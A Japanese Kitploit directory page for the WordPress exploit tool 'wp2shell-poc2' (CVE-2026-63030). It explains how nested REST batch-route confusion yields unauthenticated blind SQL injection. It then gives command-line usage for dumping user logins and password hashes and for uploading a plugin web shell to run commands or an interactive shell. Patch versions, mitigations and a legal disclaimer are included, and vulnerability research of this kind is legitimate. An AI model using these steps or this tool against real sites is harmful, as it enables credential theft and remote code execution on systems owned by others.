Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
wp2shell-poc2 — CVE-2026-63030 | Kitploit
ツール/GitHubGitHub/attackercan/wp2shell-poc2
エクスプロイトフレームワーク脆弱性分析ウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHubattackercan/wp2shell-poc2

wp2shell-poc2

CVE-2026-63030

リポジトリを見る
641ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

wp2shell-poc

WordPressコアの未認証SQLインジェクションをリモートコード実行に連鎖させる概念実証(PoC)です。RESTバッチルートの混乱(CVE-2026-63030)を利用します。

このエクスプロイトは、到達可能なターゲット以外に資格情報も設定も必要としません。単一のエンドポイント POST /wp-json/batch/v1 を通じてインジェクションに到達します。

この調査結果そのものは、未認証SQLインジェクションです。check はそれを確認し、read は任意のデータベース読み取りを実証します。shell コマンドは任意のポストエクスプロイテーション(回復した管理者資格情報 → プラグインのアップロード → コマンド実行)で、完全な影響を示すために含まれています。これは脆弱性そのものではありません。

影響を受けるバージョン

ブランチ影響を受けるバージョン修正版
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2

6.9.0より前のバージョンは、この連鎖の影響を受けません。

動作の仕組み

RESTバッチエンドポイント(/batch/v1)は未認証で、1回の呼び出しで複数のサブリクエストを実行します。各サブリクエストが個別に検証され、権限チェックされることに依存しています。

serve_batch_request_v1() は2つの並行配列、$matches(サブリクエストごとの一致したハンドラー)と $validation(サブリクエストごとの検証結果)を構築し、ディスパッチ時に同じオフセットで両方をインデックスします。wp_parse_url() に失敗したパスのサブリクエストは $validation には追加されますが $matches には追加されないため、配列の対応がずれ、サブリクエストが別のサブリクエストのハンドラーの下でディスパッチされます。これがルート混乱です。

このPoCはこのプリミティブを2回ネストします:

  1. requests ボディを伴う POST /wp/v2/posts リクエストが、バッチハンドラー自体の下でディスパッチされます。投稿リクエストとして検証されているため、その requests リストはバッチスキーマと照合されず、サブリクエストは GET を使用できます。メソッド許可リストがバイパスされます。
  2. その内部バッチ内で、author_exclude 文字列を伴う GET /wp/v2/users リクエスト(ユーザースキーマにはそのようなパラメータがないため、値は検証をそのまま通過します)が、投稿の get_items() の下でディスパッチされます。そこで author_exclude は WP_Query のクエリ変数 author__not_in にマップされ、脆弱なビルドはそれを文字列としてSQLに挿入します。

その結果、認証前に到達可能なブールベースおよび時間ベースのブラインドSQLインジェクションが生じます。データベース読み取りアクセスにより管理者パスワードハッシュを取得できます。クラックされると、管理者アクセスはプラグインのアップロードを通じてコード実行をもたらします。

要件

Python 3.8以上と標準ライブラリのみ。サードパーティの依存関係はありません。

使い方

リポジトリディレクトリから実行します:

root@kitploit:~
./wp2shell.py <command> <url> [options]

または pip install . を実行すると、PATH 上で wp2shell コマンドが使用できます。

check — 脆弱性の確認(安全)

差分時間遅延によって悪用可能性を確認します。データを読み取らず、何も変更しません。

root@kitploit:~
./wp2shell.py check http://target

read — データの抽出(ブラインドSQLインジェクション)

root@kitploit:~
./wp2shell.py read http://target                      # server fingerprint
./wp2shell.py read http://target --preset users       # user logins and password hashes
./wp2shell.py read http://target --query "SELECT @@version"

shell — コマンドの実行(リモートコード実行)

任意のポストエクスプロイテーションです。有効な管理者資格情報が必要です。インジェクションはパスワードのハッシュを回復するため、ここでは回復した平文を指定します。

root@kitploit:~
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
./wp2shell.py shell http://target --user admin --password '<recovered>' -i   # interactive shell

shell はプラグインWebシェル(ランダムなパスと実行ごとのトークンで保護)をアップロードし、そのパスを表示します。使用後は削除してください。

オプション

修正方法

WordPress 6.9.5 または 7.0.2 に更新してください。それまでの間、エッジで /wp-json/batch/v1 と rest_route=/batch/v1 クエリパラメータの両方をブロックするか、rest_pre_dispatch フィルタを使用してバッチエンドポイントに認証を要求してください。

法的免責事項

許可されたセキュリティテストのみを対象としています。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。作者は誤用に対する責任を負いません。

参考情報

  • WordPress 7.0.2 リリース告知 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • CVE-2026-63030
ツールをダウンロード
OptionApplies toDescription
--rest-routeすべて/?rest_route=/batch/v1 を使用します(prettyパーマリンクを使用していないサイト向け)。
--proxy URLすべてトラフィックをHTTPプロキシ経由でルーティングします(例:Burp)。
--timeout Nすべてリクエストのタイムアウト(秒)。
--sleep Ncheckインジェクションを確認するために使用する遅延。
--presetreadfingerprint または users。
--queryread読み取るスカラーSQL式。
--prefixreadデータベースのテーブルプレフィックス(デフォルト wp_)。
--max-length Nread値ごとに読み取る最大文字数(デフォルト128)。
--user / --passwordshell管理者資格情報(ハッシュから回復された平文)。
--cmdshell実行するコマンド(-i 使用時は省略)。
-i / --interactiveshellデプロイ後に対話型シェルを開きます。